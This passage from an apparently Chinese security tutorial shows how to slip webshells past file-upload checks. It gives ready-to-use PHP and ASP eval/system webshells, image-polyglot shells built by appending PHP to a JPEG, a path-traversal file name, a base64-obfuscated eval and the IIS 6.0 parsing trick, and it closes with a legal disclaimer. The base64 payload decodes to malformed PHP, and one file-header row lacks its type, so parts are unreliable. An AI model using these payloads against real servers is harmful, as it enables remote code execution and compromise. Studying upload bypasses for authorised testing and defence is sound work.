
shell.php%0ajpg
某些情况下换行符也会导致解析异常
3、路径穿越
filename=\"../../shell.php\"
如果后端直接把文件名拼到路径里,可能穿越到可执行目录
四、文件头绕过
现象: 后端用getimagesize()或检查文件的前N个字节来判断是否为合法图片。
绕过方法: 制作图片马。
# 在真实图片后面附加PHP代码echo '<?php eval($_POST[\"cmd\"]);?>' >> image.jpg
或者用工具生成:
copy normal.jpg + shell.php image.jpg
这样文件头部是正常的图片格式(JFIF、PNG),getimagesize()能正常识别,但文件末尾藏着PHP代码
如果后端只检查文件头不检查内容,这个图片马就能上传成功
常见文件头:
| 文件类型 | 文件头(Hex) | 文件头(ASCII) |
| JPEG | FF D8 FF E0 | ÿØÿà |
| PNG | 89 50 4E 47 | .PNG |
| GIF | 47 49 46 38 | GIF8 |
| 25 50 44 46 |
五、文件内容绕过
现象: 后端检查了文件内容是否有恶意代码(比如扫描<?php)。
绕过方法:
- 短标签绕过
<? eval($_POST['cmd']); ?> // 标准写法<?= system($_GET['cmd']); ?> // 短标签<% eval request(\"cmd\") %> // ASP风格
如果后端只扫<?php,用短标签或ASP风格就能绕过
2、编码绕过
<?php$cmd = base64_decode(\"c3lzdGVtKCRfR0VUWydjcmRdKTs=\");eval($cmd);?>
把攻击代码变成Base64编码,规避关键字检测
六、文件名重命名绕过
现象: 后端强制重命名文件为时间戳.jpg,让你无法访问原文件名
绕过方法:
- 找文件路径回显
如果上传后系统返回了文件保存路径,直接访问那个路径
- 猜路径
上传shell.php,即使被重命名成20240101\_123456.jpg,如果系统没有改扩展名,就生成一个图片马,用图片马的路径配合解析漏洞
- 利用解析漏洞
如果服务器是IIS 6.0,/upload/test.asp/1.jpg这种路径会把jpg当成asp解析。名字怎么改都不影响
层层突破,是有一定难度!
吃不得苦,就不要学网安,人家也不放心交系统给你运维!
⚠️ 法律声明:以上内容仅供安全学习和授权测试使用。未经授权的漏洞利用属于违法行为,请勿对未经授权的目标进行测试









评论